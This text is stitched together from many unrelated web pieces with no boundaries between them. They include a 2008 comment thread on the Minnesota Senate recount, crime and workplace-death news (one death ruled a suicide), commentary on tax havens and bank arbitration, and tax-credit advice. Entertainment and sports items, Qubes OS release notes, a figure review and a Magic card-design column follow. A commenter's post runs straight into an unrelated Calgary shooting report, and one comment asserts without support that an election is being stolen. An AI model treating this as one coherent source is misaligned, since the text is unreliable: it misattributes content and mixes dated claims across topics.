race and no other race is not suspicious because voters have the right to leave any amount of races 'blank.' The optical scan at the precinct enables the voter to review a ballot before casting one, and it should be set to 'reject' over-votes because those void a paper ballot contest when they occur. Not so with under-voted paper ballot. The optical scanner notifies the voter of such with wording such as no selection. The sighted voter visually inspects the ballot a second time, and if the voter wants to make any changes, can do so before casting the ballot as is. That's supposed to be a benefit of the optical scanners at the precinct. It is a scam for any undervoted ballots which have already received the precinct optical scan review by the voter himself or herself to be determined as not the intent of the voter. Not having any hard numbers to start shows an absolute potential for fraud.
COMMENT #32 [Permalink]
... W4B said on 11/14/2008 @ 8:17 am PT...
So Big Stick, how's it feel to be holding the shit-end? I'd advise you to post this over at the NRSC site, this forum is 'reality-based'. The Minnesota recount will be orderly and so will the inevitable law suits. My guess, you loose, get over it.
COMMENT #33 [Permalink]
... Ty Allen said on 1/6/2009 @ 9:23 am PT...
"Unsubstantiated allegations?" That statement is unsubstantiated. Al Franken, with the help of Democrat Secretary of State and former ACORN worker Mark Ritchie, are stealing this election. Just like Al Gore and the Daly Chicago machine tried to steal the 2000 election, and like they succeeded in stealing the 1960 election. This is no conspiracy theory, it's a real conspiracy - and it's nothing new for the power-hungry Democ-RAT party. New Motto of the Dems: "Count every (Democrat) vote (twice)"
COMMENT #34 [Permalink]
... Ty Allen said on 1/6/2009 @ 9:36 am PT...
Joel Gary Geddes, seen here in a mugshot posted by Winnipeg police in 2006 when he was wanted on warrants for numerous crimes, was found dead late Wednesday night outside a house in southwest Calgary. (Handout)
Police were called to the 500 block of Evermeadow Road S.W. at about 11:15 p.m. MT when gunshots were reported.
Geddes, who was declared dead at the scene when officers arrived, had connections to organized crime, sources say.
Police say it's not believed the shooting was random.
Geddes had a lengthy history of criminal court proceedings against him, Manitoba documents reveal. He was sentenced to 12 months in jail in 2005 for manslaughter and given a lifetime weapons ban.
Corey Tungpalan, who lives one house down, says he got down on the floor and called 911 when he heard six to eight gunshots fired, followed by screams.
Tungpalan says the neighbourhood is normally very quiet.
"It's really confusing", he said. "I have no words for it."
Neighbour Corey Tungpalan says he got down on the floor and called 911 when he heard the gunshots late Wednesday night. (CBC)
Kyana Ryan, who lives nearby with her baby girl, says she knew the victim of a homicide in September, and with this latest event so close to home, she's losing faith that Calgary is a safe city.
"I don't want to have violence on my doorstep and I'm worried that if we don't start making better laws about guns and knives it's going to keep happening."
Investigators are still looking for suspects and any vehicles involved in the attack.
Anyone who was in the area at the time is asked to call the homicide unit's tip line at 403-428-8877.
Maureen Naylor of KTVU had tweeted at 9:10 AM PDT that a source indicated law-enforcement had begun an investigation after the person had been found. She also tweeted 19 minutes later that Santa Clara County’s Sheriff spokeswoman can’t confirm the death at this point, but more information is expected to be released later. Mat Keller of ABC7 News had shared some images of the sheriff’s vehicle on campus as well.
Source: Law-enforcement investigating after person found dead on Apple's Cupertino campus in conference room. — Maureen Naylor (@MaureenKTVU) April 27, 2016
Santa Clara Co Sheriff spokeswoman can't confirm death at this point but is headed to Apple & expects to have more info to release later. — Maureen Naylor (@MaureenKTVU) April 27, 2016
Sheriff investigation at #Apple headquarters in Cupertino. A body was found in a conference room. pic.twitter.com/HC7UBPWROM — Matt Keller (@MattKellerABC7) April 27, 2016
At this point in the ongoing situation, Apple is choosing not to comment.
Update #1, 04/27/2016 10:52 AM PDT:
TMZ has acquired audio from police scanner chatter pertaining to events around the incident. The audio is hard to make clear, but TMZ has the following:
According to the sheriff’s dispatch call there was a female employee involved in an argument on the campus, and had sustained a head wound — possibly from a gun — before Apple security escorted her out of the building. As deputies were responding, they were unclear if there were multiple people involved. One portion of the dispatch exchange describes a body being found in a conference room, and that person had a gun. – TMZ
Update #2, 04/27/2016 11:08 AM PDT:
Keller is now reporting that the person found dead in the conference room was a man, and a gun was found nearby.
#Breaking– Person found dead in conference room at #Apple Headquarters is a man. A gun was found nearby. pic.twitter.com/PKgnFy7MRh — Matt Keller (@MattKellerABC7) April 27, 2016
Update #3, 04/27/2016 11:38 AM PDT:
Santa Clara County’s Sheriff spokesperson has confirmed to news reporters that the person found dead in the conference room was indeed an Apple employee.
Sheriff spokesperson confirms person found dead in conference room was #Apple employee. No one else involved. pic.twitter.com/rLic0WGTo7 — Matt Keller (@MattKellerABC7) April 27, 2016
Update #4, 04/27/2016 1:01 PM PDT:
Video of Santa Clara County’s Sheriff’s Department, Sergeant Andrea Urena addressing the press was posted by both KTVU and Mercury News.
Update #5, 04/28/2016 4:52 AM PDT:
Keller shared the following statement from Apple today on Twitter:
We are heartbroken by the tragic loss of a young and talented coworker. Our thoughts and deepest sympathies go out to his family and friends, including the many people he worked with here at Apple. We are working to support them however we can in this difficult time.
(1/3) #Apple statement regarding employee death at Cupertino headquarters- "We are heartbroken by the tragic loss of a young and talented… — Matt Keller (@MattKellerABC7) April 28, 2016
(2/3) …coworker. Our thoughts and deepest sympathies go out to his family and friends, including the many people he worked with here at… — Matt Keller (@MattKellerABC7) April 28, 2016
(3/3) …Apple. We are working to support them however we can in this difficult time." — Matt Keller (@MattKellerABC7) April 28, 2016
Update #6, 04/28/2016 5:33 PM PDT:
#Apple employee found dead in conference room at Cupertino headquarters identified as 25 yr old Santa Clara resident Edward Mackowiak. — Matt Keller (@MattKellerABC7) April 28, 2016
Medical Examiner determined 25 yr old #Apple employee Edward Mackowiak's death was a suicide. — Matt Keller (@MattKellerABC7) April 29, 2016
August 16th, 2012
Comments: 8
A growing share of Canada’s investment overseas is being channeled by Canadian banks into tax havens.
The latest Statistics Canada figures show 24% of Canadian direct investment overseas in 2011 went to the top twelve tax havens, up from 10% in 1987.  In fact, tax havens of the Barbados, Cayman Islands, Ireland, Luxembourg and Bermuda were five of the top eight national destinations of total Canadian investment abroad, with the US, UK and Australia the only countries not considered tax havens in this group.
These totals would be even higher if they included figures for other tax havens such as Monaco, Liechtenstein and many others where the figures either aren’t available or weren’t made available for confidentiality reasons. They also don’t include money going to tax havens associated with the UK and the US, such as Channel Islands, or through banks in those countries.
The finance and insurance sector now accounts for over 51% of Canada’s total direct investment overseas, more than double its share from 1987, more evidence that a large share of this money is going overseas to avoid taxes.  The Harper government has lauded Canada’s growing investment overseas, claiming it shows looser foreign investment rules (which allowed numerous takeovers of Canadian industry) have been beneficial, but the actual figures show the reality is quite different. A large and growing share of this money isn’t going into real capital investments that could ultimately benefit people overseas or in Canada; it’s going into tax avoidance that benefits a wealthy few at the expense of the large majority in Canada and around the world.
Last month, James Henry–former chief economist of McKinsey & Co, the top corporate consulting firm in the world–released a report he wrote for the Tax Justice Network, The Price of Offshore Revisited, estimating that $21 to $32 trillion is held in tax havens worldwide.  This amounts to an estimated $190 to $280 billion of lost income tax revenues annually: more than twice the amount all OECD countries spend on international development assistance worldwide.  Poor and developing nations are especially harmed by tax havens, as they are extensively used by political and corporate kelptocrats and multinationals operating in those countries to avoid taxes.
CBC’s The Current radio show had a very good interview with James Henry about this issue on Aug 16th and with Alain Deneault, the Canadian author of Offshore: Tax Havens and the Rule of Global Crime.  Another major attraction of tax havens is of course their secrecy, which enables not just the wealthy to avoid taxes, but also criminals to both avoid taxation and prosecution.
Unfortunately, there isn’t much evidence our political leaders are doing much about this as the problem continues to grow.  As Alain Deneault said, they always go after the small people on taxes.  Meanwhile, high profile politcians such as former Conservative Finance Minister Michael Wilson chairs the Canadian operations of international banks such as UBS and Barclay’s that do a lot of business in tax havens — and recently refused to appear before Commons committees looking examining this issue.
The use of tax havens is also fuelled by and exacerbates growing inequalities of income and wealth: highly affluent individuals and corporations with a lot of excess money they aren’t productively investing back into the economy or spending on their needs.  Canadian banks have also been complicit in building up some Caribbean nations into tax havens–and use them to avoid billions in tax annually themselves, as Quebec economists Leo-Paul Lauzon and Marc Hasbani showed when they examined the annual reports of Canada’s big five banks a few years ago.
Canada’s House of Commons Finance Committee will be examining the issue of tax havens again this fall. It’s a growing problem with real consequences, especially as governments cut public spending ostensibly to tackle their deficits. Hopefully they will be able to make more progress this time and stem some of this flow. Otherwise the dirty little secrets of Canadian banks is going to grow a lot bigger.
Notes: Figures on FDI are from Statscan Cansim table 376-0051 (by country) and 376-0038 (by industry), available to download for free. The Congressional Research Service has a list of countries considered tax havens in their relatively recent report on Tax Havens: International Tax Avoidance and Evasion.
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To see if your car, S.U.V. or truck qualifies, ask the manufacturer or search for “alternative motor vehicle credit” on the I.R.S. Web site, irs.gov. You can peruse vehicles listed by year, make and model to see whether yours is included, and what the likely credit will be.
Starting this year, you also may be able to get a tax credit up to $7,500 for some electric plug-in vehicles — those with a rechargeable, plug-in battery.
Hybrids typically cost more than comparable cars with standard gasoline engines — as much as 20 percent higher or more. There are online hybrid calculators to help you decide whether the money you save on fuel, plus the tax credit, makes the purchase worthwhile.
And don’t forget the vehicle sales tax deduction. If you bought any new vehicle from Feb. 17 to Dec. 31, 2009, you also qualify for a deduction equal to any state or local sales tax you paid — on any purchase of a new vehicle up to $49,500.
RESIDENTIAL UPGRADES Although the residential energy property credit expired at the end of 2007 it has been revived and extended through 2010. Under the original law, this credit was limited to 10 percent of home improvement costs, up to $500, generally speaking.
Now you can claim 30 percent of what you spend on qualified improvements, up to $1,500, for 2009 and 2010 combined.
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This credit covers the cost of certain energy-saving heating and cooling systems, water heaters, or stoves that burn plant-based fuels (wood or pellet stoves, for example) — and the installation of these items.
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The cost of energy-efficient windows, doors, insulation and certain roofs is also covered, but installation is not.
Which products qualify? As with hybrid cars, you need to look for the manufacturer’s certification that the addition to your home qualifies as energy-efficient under the terms of the new law. In some cases, an Energy Star designation is all you need.
You would have to spend $5,000 over the two-year period to claim the full $1,500; you can’t claim $1,500 a year, no matter how many energy-efficient home improvements you make.
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HOME ENERGY SYSTEMS Under a related tax credit called the “residential energy efficient property credit,” if you install an alternative energy source for your home — like solar panels, wind turbines or geothermal pumps — you can claim 30 percent of whatever you spend, with no limit on the cost or credit (including installation). This credit is good through 2016, in case you need to work up the nerve to tackle a full geothermal, solar conversion.
And there’s more good news: It’s possible to claim one or both residential tax credits, whether or not you itemize your deductions using Schedule A. Eligible homeowners should file I.R.S. Form 5695 for either of these residential credits.
OTHER CONSIDERATIONS At the moment, individual taxpayers who are subject to the alternative minimum tax for 2009 can apply the credits relating to energy-efficient vehicles and home improvements against the A.M.T. Although these tax credits will continue through 2010 or longer, it’s unclear how they will apply under the A.M.T. rules for 2010, said Robert Marvin, a spokesman for the I.R.S.
Jeff Zucker knows times have changed and covering Donald Trump will be unorthodox due to the president-elect's disdain for the media, but Zucker's network will be relentless in seeking the truth, the CNN chief said in a recent interview with New York Magazine.
Zucker touched on numerous facets of covering Trump, especially after his network was recently bashed by the former reality TV star as being "fake news" because it reported both Trump and President Obama were briefed by the intelligence community on a Russian dossier with possible damaging information.
CNN did not report what was in the dossier, but BuzzFeed did, prompting Trump to lump both outlets together and brand them incompetent.
"The fact is, the top four intelligence chiefs of the United States decided to include in their briefing to the president and president-elect a two-page summary of allegations involving the president-elect. That is newsworthy by any definition," Zucker said in defense of his network.
"[BuzzFeed] made a decision for themselves, and they have to live with it. I’m not going to pass judgment on their decision. We did not think it was appropriate for us given that we had not been able to corroborate the allegations."
Zucker said it is "sad" — one of Trump's favorite terms when he dislikes something — that the president-elect would try to damage the CNN brand for its responsible reporting because he didn't like the content.
"It’s just unfortunate that the most powerful person in the world is trying to delegitimize journalism and an organization that plays such a vital role in our democracy," Zucker said. "[The Trump administration's] willingness and inclination to cherry-pick facts, conflate and inflate things, will make covering this administration very challenging. That means our role is more important than ever. We think that CNN has a job to do, which is to hold their feet to the fire. They may not like it, but they should respect it."
Zucker, the former president and CEO of NBC Universal, said he does not regret putting Trump's reality show, The Apprentice, on the air, thereby possibly kick-starting his presidential ambitions.
"It’s true I put him on television with The Apprentice in 2004. I’ve never run away from that," he said. "But in no way do I think that’s why he’s the president. You have to give the guy credit. He ran a campaign that worked."
The CNN chief has not talked to Trump for more than a month, he said, but during the campaign, they spoke about once a month.
But much like the bulk of Trump’s agenda, that assault remains in the aspirational phase, and the agency continues to do its work. Earlier this month, the CFPB released a major new rule, flat-out barring financial institutions from using forced arbitration clauses in consumer contracts to stop class-action lawsuits.
Now, Trump has sent out his lead attack dog to overturn the arbitration rule — a former bank lawyer who has used the very tactic the CFPB wants to prevent.
Class-action lawsuits are often the only way abusive behavior is checked. Take one of the more flagrant examples relating to overdraft fees. Millions of Americans are painfully familiar with the little perforated postcard that kindly arrives in the mail, courtesy of your financial institution, informing you that you have overdrawn your bank account and have been assessed a fee. Or, sometimes, you get three of them in the mail.
In order to make sure you get three and not one, banks in the past would re-order your transactions. The case of Gutierrez v. Wells Fargo is instructive here: a federal class-action case in California, the suit charged the bank with debit card reordering, or altering the sequence of debit card withdrawals to maximize overdraft fees. So if a cardholder with $100 in their account made successive withdrawals of $20, $30, and $110 over the course of a day, instead of getting hit with one $35 overdraft fee, Wells Fargo would reorder the transactions from high to low, thus earning three fees.
The plaintiffs won a $203 million judgment in 2010. But in an appeal before the 9th Circuit in 2012, Wells’ lawyers argued that a U.S. Supreme Court ruling in 2011, AT&T Mobility v. Concepcion, gave Wells Fargo the right to compel arbitration and quash the case, even after the judgment was rendered.
The 9th Circuit ruled that Wells Fargo never requested or even mentioned arbitration for five years of litigating the case. Only after losing in court and getting a potential lifeline from the Supreme Court did the lawyers take the shot. “Ordering arbitration would … be inconsistent with the parties’ agreement, and contradict their conduct throughout the litigation,” the court ruled.
Wells Fargo eventually paid California customers, but only after six years of appeals. Yet the company is still trying to use arbitration to quash a similar class action on overdraft fees, which would affect consumers in the other 49 states. Over 30 banks have been sued for this conduct, and every one of them settled the case except Wells Fargo.
Banks have a lot riding on the CFPB rule. Luckily for Wells Fargo, a former senior attorney of theirs is now a top federal regulator. In fact, Keith Noreika worked on that class-action defense in Gutierrez v. Wells Fargo before becoming the acting chair of the Office of the Comptroller of the Currency.
In May, President Trump hired Noreika to take over OCC, in an unusual arrangement where he would serve as a “special government employee,” retained to perform “temporary duties” for not more than 130 days, and exempt from most ethics rules or Senate confirmation.
His first high-profile move is to insert himself into the CFPB rule-making process, the bureaucratic equivalent of laying down in the street in front of the bus.
Right before the CFPB released its final arbitration rule, Noreika charged in a letter that the rule could create “safety and soundness concerns.” On Monday, Noreika asked the CFPB to delay publishing the rule in the Federal Register until OCC could review it for safety and soundness concerns. Essentially, Noreika is saying that allowing consumers to band together to stop petty theft by banks threatens the ability of those banks to survive. The CFPB already sent the rule to the Federal Register, and called Noreika’s request “plainly frivolous.”
Noreika threatened to use Section 1023 of Dodd-Frank, which allows the Financial Stability Oversight Council (FSOC), composed of the major bank regulators, to halt CFPB rules if they put the safety, soundness, or stability of the banking system at risk. The chair of the FSOC, Treasury Secretary Steve Mnuchin, could stay the rule for 90 days pending a vote of the 10-member council. Seven votes would be needed to set aside the rule.
On Tuesday, Sherrod Brown, ranking Democrat on the Senate Banking Committee, wrote to Noreika about his objections. Brown noted that the CFPB made its rule and the research behind it publicly available for two years, and collaborated with safety and soundness regulators throughout the rule-making process. OCC never raised any objections in that time, even after Noreika was named acting chair. “The argument that consumer protections will jeopardize the soundness of banks is as specious today as it has been in the past,” Brown wrote.
Brown also cited a case study in the CFPB’s 2015 arbitration report, which “deals with banks manipulating the order in which they process checking account transactions to charge their customers more overdraft fees.” The CFPB found that consumers benefited from class actions in the overdraft case, while those barred saw little restitution.
“It is especially surprising that you are not familiar with these outcomes,” Brown wrote. “Previously, as an attorney in private practice, you represented Wells Fargo in just such a case, and attempted to quash a class action brought by consumers harmed in exactly the same way by invoking Wells Fargo’s forced arbitration clause.”
Noreika is in fact required to recuse himself from matters involving Wells Fargo, Bank of America, JPMorgan Chase, HSBC, and others, because he has previously represented all of them as a lawyer. Because the arbitration rule isn’t targeted at a specific bank, Noreika is getting around that restriction.
The images, which were given to FRONTLINE through a Freedom of Information Act request, provide a new window into President Bush’s actions on 9/11 — from the initial scramble for information upon learning of the attack at an elementary school in Florida, to his meetings with senior staff throughout the day, and his return to the White House that evening, where in an address to the nation he vowed to “find those responsible and bring them to justice.”
The images were released Friday in response to a FOIA request by Colette Neirouz Hanna, coordinating producer for the Kirk Documentary Group, which has covered the legacy of 9/11 in multiple films for FRONTLINE, including Bush’s War, Cheney’s Law, and the forthcoming investigation The Secret History of ISIS.
They were taken by Eric Draper, who was the president’s personal photographer.
“Capturing that story was difficult,” Draper told the website Storybench in a 2015 interview. “I had to focus on being in the right place at the right time and push back the emotions that I was feeling to truly capture the story. Everyone did their job that day and I knew my job was to have a crystal clear focus to document what was in front of me, for others to place it into history.”
The collection of photos from the George W. Bush Presidential Library and Museum is now the third to be released in response to FOIA requests from Neirouz Hanna. One batch, released by the National Archives in July 2015, contained more than 350 behind-the-scenes images of 9/11 by Vice President Dick Cheney’s personal photographer. A set of 2,664 images released one month earlier provided a rare glimpse of Cheney’s tenure in office.
Here is a selection of photographs from the latest release. The complete collection of images is available on the Bush library’s website.
On the morning of Sept. 11, 2001, the president was visiting Emma E. Brooker Elementary School in Sarasota, Fla. when news of the attack on the World Trade Center broke.
The president and his staff, including Press Secretary Ari Fleischer, pictured left, were then brought to a holding room at the school, where he prepared to address the nation. “I have spoken to the vice president, to the governor of New York, to the director of the FBI, and have ordered that the full resources of the federal government go to help the victims and their families — and to conduct a full-scale investigation to hunt down and to find those folks who committed this act,” he said. “Terrorism against our nation will not stand.”
The president was whisked onto Air Force One and was flown to Barksdale Air Force Base in Louisiana. Here he is shown watching television coverage of the attacks from his office on the plane.
President George W. Bush talks on the telephone at the General Dougherty Conference Center at Barksdale Air Force Base.
The president with senior adviser Karl Rove at Barksdale Air Force Base.
The president with White House Chief of Staff Andrew Card at Barksdale Air Force Base. Before leaving the base, the president held a press conference at which he said, “Make no mistake: The United States will hunt down and punish those responsible for these cowardly acts.”
The president is consoled by Lt. Col. Cindy Wright of the White House Military Office aboard Air Force One. After leaving Louisiana, the president was flown to Offutt Air Force Base in Nebraska before he headed back to Washington D.C.
President Bush arrived at the White House Presidential Emergency Operations Center around 7 p.m. Here he is shown with his wife, First Lady Laura Bush, Vice President Cheney and National Security Adviser Condoleezza Rice.
At 8:30 p.m., the president addressed the nation from the White House. In his speech, he set the tone for the wars to come in Afghanistan and Iraq.
“I’ve directed the full resources for our intelligence and law enforcement communities to find those responsible and bring them to justice,” the president said. “We will make no distinction between the terrorists who committed these acts and those who harbor them.”
The president’s speech on the teleprompter.
Serena Williams is baring it all on the cover of the August 2017 edition of Vanity Fair, as the tennis great took part in a nude photo shoot.
As seen in the following tweet courtesy of Vanity Fair, Williams is proudly showing her baby bump after announcing her pregnancy in April:
Per Vanity Fair, Serena is now just over six months pregnant.
The 35-year-old Williams won the 2017 Australian Open while pregnant, but she missed the French Open and is set to be out the remainder of the campaign.
In April, Serena indicated in an Instagram post that she intends to return to tennis:
Williams' 23 Grand Slam singles titles are the most in the Open Era, and she trails only Margaret Court's 24 on the all-time list.
Looks like we’re heading for another week of songs from different artists with Variety Pack VI!
In our previous article we discovered that @thefalloftroy with F.C.P.R.E.M.I.X would make their Rocksmith debut! Additionally over the weekend it was also revealed that Brian Setzer will be returning this week with Stray Cat Strut (which also happened to appear in Guitar Hero On Tour). Next up, another song featured in a music game in 2007 (with Fall of Troy in Guitar Hero III), @DavidBowie’s classic Suffragette City! Last but not least (as revealed by XBOX AU) we have a song that will make @elisarockdoc very happy, the 90’s hit from @GinBlossoms Hey Jealousy will surely make guitarist and bassists go Green with envy.
Post-hardcore math rock, Rockabilly, Glam-rock proto-punk from the Starman himself, and another dose of the 90s! Now that’s what I call Variety…. Six.
Variety Pack VI – $9.99 / Steam
All arrangements are in E Standard, so no worries for tuning this week!
After years in business and education, her next job will be president of Towson University.
Schatzel — who worked her way up from the assembly line, built a career in business and then switched to academia — will take over the administration of the state's fastest-growing campus on Jan. 25. She is currently provost and interim president of Eastern Michigan University.
"I'm very excited about the mission of Towson. Also, just the quality of programs and academic quality," said the 59-year-old, whose appointment was announced Friday by the University System of Maryland.
Schatzel replaces Timothy J.L. Chandler, who has led the university as interim president since the resignation of Maravene Loeschke last December. Loeschke died of cancer in June.
Schatzel will arrive at a Towson during a time of change. As the university celebrates the 150th anniversary of its founding as the State Normal School, it continues to grow. Already the second-largest public university in Maryland, Towson's student body is expected to increase from about 22,300 students to 25,000 students in the next few years.
"I'm excited to meet her," said Kurt Anderson, a senior who is student government president. "This university has grown and changed a lot, and for the better. This is an exciting time to be at Towson and for a new university president to come in."
Towson — like other universities across the country — has grappled with calls for focusing on diversity and improving the experience of students who are minorities. Last month, a group of students calling themselves Occupy Towson led an eight-hour protest in the president's office that culminated in Chandler's agreeing to a list of student demands.
Chandler's pledges included working to increase the number of tenured faculty members of color, adding cultural competency courses and creating a no-tolerance policy on use of racial, sexual and homophobic epithets.
Schatzel said she can't yet say how she will handle those pledges when she becomes president. "That's something that I want to learn more about when I come to campus," she said.
She offered general support for having a "diverse and inclusive" campus. "I firmly believe that a diverse campus is necessary for a high-quality education," she said.
Makya Purnell, a student involved with Occupy Towson, said Friday on Twitter that activists were concerned about what would happen with a new president. She wrote that she's confident that Schatzel "will be just as supportive … maybe even more so. I'm excited to see what she will bring to the university." Purnell declined an interview request.
Schatzel comes to Towson amid an embarrassing episode for the university. The diving team coach was indicted recently on criminal charges after student-athletes found a cellphone recording them in their locker room. The university has said little about the incident, and some students and parents have complained over the handling of the matter.
Schatzel will also have to confront some growing pains.
The university's growth has, at times, sparked tensions with residents of the surrounding community, which also is booming with new development — including apartments targeted at college students. Some neighbors have complained about bright lights from sports fields shining into their homes, rowdy students disturbing neighborhoods late at night and students parking in residential areas.
The university is updating its master plan with goals including developing the campus responsibly with more classrooms, dorms and recreation spaces; improving transportation and parking options; and defining the edges of the campus.
Schatzel said her dual experience in higher education and in business will help her navigate issues such as the university's growth. She said she's comfortable working with neighboring residents and local government leaders to manage growth so it helps those both on and off campus.
Her private-sector experience — she was CEO of an automotive components company that supplied Ford and Chrysler — also will help with understanding the needs of regional employers who rely on the university to produce entry-level employees, she said.
"I have a foot in both worlds, so to speak," she said.
Robert L. Caret, the chancellor of the University System of Maryland, said he's pleased with the selection of Schatzel, who was chosen from a pool of about 70 applicants.
Caret said he and the system's regents were impressed with Schatzel's energy and her openness to new ideas about running a university. She was one of four finalists.
"She's not one who looked into doing things how they've always been done," said Caret, who served as Towson's president from 2003 until 2011.
Caret said he hopes Schatzel will work to expand Towson's research programs, which he sees as one of the next big steps for the university.
He noted that Schatzel comes from a university that's similar to Towson, which makes her "a great fit." Eastern Michigan is about the same size, is a state school and also was founded as a teachers college.
She was named interim president at the university in Ypsilanti in July and had served as provost and executive vice president of academic and student affairs since 2012. She's credited with boosting undergraduate enrollment and working to improve student retention at the school.
In a letter to students, Caret said a reception for Schatzel would be held on campus in the coming days.
Schatzel will receive an annual salary of $369,000, plus a $35,000 annual housing allowance and a $12,500 vehicle allowance. While Schatzel serves at the pleasure of the system's Board of Regents, she is guaranteed three years of her salary if she is terminated for any reason other than cause, according to Anne Moultrie, the university system's vice chancellor for communications.
This Qubes OS release is dedicated to the memory of Caspar Bowden.
New features since 2.0
HAL (Hypervisor Abstraction Layer) - based on libvirt, opens a whole new possibilities of using different hypervisors. Currently Qubes OS uses Xen.
Xen 4.4 - many new features, but for us the most important is much more mature libxl toolstack.
Qrexec 3 - greatly improved performance by using direct VM-VM connections and bigger buffers.
Debian templates gets official support.
Whonix templates
Build system improvements - especially support for distribution-specific plugins (makes supporting multiple distributions much easier) and building templates using DispVM.
Automated tests - makes much easier to find bugs, before its even shipped to users
Known issues
Windows Tools: qvm-block does not work
UEFI is not supported, you need to enable “legacy boot” in BIOS before installing Qubes OS
Some icons in the Qubes Manager application might not be drawn correctly when using the Xfce4 environment in Dom0. If this bothers you, please use the KDE environment instead.
If your GPU is not correctly supported by the Dom0 kernel (e.g. the 3D desktop effects do not run smoothly) then you might experience “heaviness” with Windows 7-based AppVMs. In that case, please solve the problem with your GPU support in Dom0 in the first place (by using a different kernel), or install Qubes OS on a different system.
For other known issues take a look at our tickets
It is advised to install updates just after system installation to apply bug fixes for (some of) the above problems.
Downloads
See Qubes Downloads.
Installation instructions
See Installation Guide.
Upgrading
If you are using Qubes R3.0rc1, R3.0rc2 or R3.0rc3, just install system updates, there is no special steps required.
From R2.0 or earlier
The easiest and safest way to upgrade to Qubes R3.0 is to install it from scratch and use qubes backup and restore tools for migrating of all of the user VMs.
This was another figure of my friend Lurna. Kurisu is from the anime Steins; Gate, a series that I regretfully have not finished. Bloodfrost got sick and tired of watching his favorite character die over and over again so he refused to watch any more. We do have the Good Smile Company version of Kurisu, but the Kotobukiya version is not something that I could ignore either.
The one thing that makes this figure awesome are the gears that Kurisu is sitting on. They are easily the first thing that you see when you look at the figure. They really make this figure unique, while doing a god job of being related to the series as well. Surprising to me they are not actually circular, the are more oval in shape. It’s not something you can really tell from pictures alone.
Like our version of Kurisu she is just beaming with happiness, from what I saw in the series I was hoping for a little bit more emotion. She is far from a happy-go-lucky excited character, but she didn’t go around looking like her dog got ran over for the first half of the series. Because of her unhappy face this figure makes her seem down right depressing to be around. Though we DID stop watching the series because of how sad it got…. so I guess I cannot really complain about it….
I really like how they did her legs, the stocking look great and her legs just seem to go on forever! They also did a great job with the boots.
I feel the did a pretty sloppy job with her shirt and the cuffs on her jacket. The lines are just not done that well. You can really see how chunky the vertical lines down her shirt are, seriously Koto? You think this is how her shirt should have looked like on the front?
Of course she comes with her cellphone, its pretty well detailed for how small it is, and I think they did a decent job with making it all rusted looking.
Kurisu doesn’t have much of a butt on this figure. I think I like how her butt looks better in the version of her that we have. Oh well, it’s not really a big part of this figure unless you are looking at her from a weird angle.
All in all I think this is a figure you should buy if you are a Steins;Gate fan, and especially if you are a Kurisu fan. If you are not really a fan of either I cannot really see any reasons why you would get this figure. It is a nice piece, but it’s not an amazing figure that I would break the bank for, probably why we do not own her.
I often talk about how R&D will have major arguments over cards. While I think most players understand this, I don't believe they would be able to guess which cards those are. For example, Advent of the Wurm is one of those cards.
What could possibly be contentious about this card? Well, we tried to make it in Return to Ravnica and, with a little dramatic license, here's the argument we had. (Note: I was on the pro side.)
Pro: 1GGW instant, "Put a 5/5 green Wurm creature token with trample onto the battlefield." I like it.
Con: I don't.
Pro: Why not?
Con: Why isn't it just a creature?
Pro: Because we have the populate mechanic. We need cool tokens to clone.
Con: But the audience doesn't necessarily know that. Imagine if this card was in your first pack? Without the knowledge of populate, this card is confusing.
Pro: That's the beauty of Magic. People read cards and don't always get what their purpose is. But then it makes them try to figure out why. Why isn't this just a creature? Why is it a token?
Con: How about making cards that make them go "Wow, this is cool." And not have to go "Maybe this is cool. Let me hunt down why."
Pro: I'm not saying all the cards should do this but some should.
Con: Maybe a few—at higher rarities—later in the block.
Pro: Fine, we'll do it in Dragon's Maze.
And that is how Advent of the Wurm ended up in Dragon's Maze.
When Richard Garfield created Magic, he made a card called Clone.
Everyone instantly loved Clone because it did lots of fun things and shapeshifters are cool. Well, almost everyone loved it. The rules people didn't love it because the card didn't actually work. The problem was bad enough that for years we were forbidden from making clones.
In Urza's Saga, I did enough pleading that I got the rules manager to come up with what he thought was a workable set of Clone rules, so I convinced Mike Elliott, the lead designer of Urza's Saga, to put it into the set. Sometime after the art was done but before it went to be printed, the rules manager realized his solution for Clone didn't work and the card couldn't be Clone.
This meant we had to scramble to make a card that matched the art—a piece of art, by the way, that parodied the original art from Clone. In the end, we came up with this card:
A later rules manager would make Clone work, but our quick fix ended up being very popular. Nicknamed "Superman," Morphling is one of those cards that designers and developers keep drifting toward. I bring this all up because Ætherling, if the name wasn't a dead giveaway, is yet another Morphling variant.
The big controversy was that the card only had four activations, where all other "Morphlings" have had five. The argument was that the flickering effect both untapped the creature and kind of gave it shroud. The real reason the card only has four activations is the fifth one wouldn't fit. Trust me, we tried. Development would send the card out for people to evaluate and they kept getting the same note back. The flicker effect was key to the design but it was long enough that it prevented the fifth activations.
In the end, we chose to live with it, but I know my mailbox is going to fill up with players asking where the fifth activation is.
Sometimes it's the simplest of cards with the most complex of stories. A vanilla 1/3? What story is behind that? An interesting one, actually. Every Tuesday, we have a meeting called Card Crafting, where we take technical issues dealing with design and development and talk them through.
One of the recurring issues the team talks about is the similarity between black and red (also the similarity between white and green, but that's not the topic for today's story). The two colors have a lot of overlap and R&D has been spending some of our Card Crafting trying to find ways to make them more different.
One of the similarities was the observation that black and red tended to be the two colors that most often had creatures with power higher than toughness. If we were going to try and separate the two colors, we felt it was important to shift one of them to occasionally have a higher toughness than power. After some discussion, we decided that red made more sense as the high-power/low-toughness color, as its ethos is always about acting on impulse and never thinking things through.
This meant black needed to start having some creatures with a toughness higher than power. Bane Alley Blackguard is one of the cards that hint at this future for black creatures.
The third set of this block is in an interesting place. It wants to both fill in the gaps the guilds have from earlier in the block, but it also wants to carve out some new design space for the guilds. Blaze Commando is an example of the latter. The Boros deck in Gatecrash was all about spitting out creatures as fast as you could. Blaze Commando makes the Boros player have to consider how many instants and sorceries he or she is playing and adjust accordingly.
Blaze Commando also does something else that Dragon's Maze pushes players toward doing. The slower nature of the draft, along with the makeup of each booster pack, pushes players toward playing three colors. Blaze Commando was designed as a Boros card that plays with Izzet, the guild already playing lots of instants and sorceries. Dragon's Maze, as I explained over the last two weeks, had a lot of things it had to accomplish, so one of the best ways to do this was to have cards that addressed multiple concerns. Blaze Commando is one such card.
Designers sometimes geek out over the strangest of things. Bred for the Hunt is one such example. This card intrigues me because it is both a green-blue cards and a Simic card and the design works on both levels. Some of you might be saying "So what?" But I've been at this long enough that I know how hard this actually is to do, especially with the ease of simplicity that Bred for the Hunt has.
Why do we make a card with elements that we don't think the majority players will get? For a number of reasons:
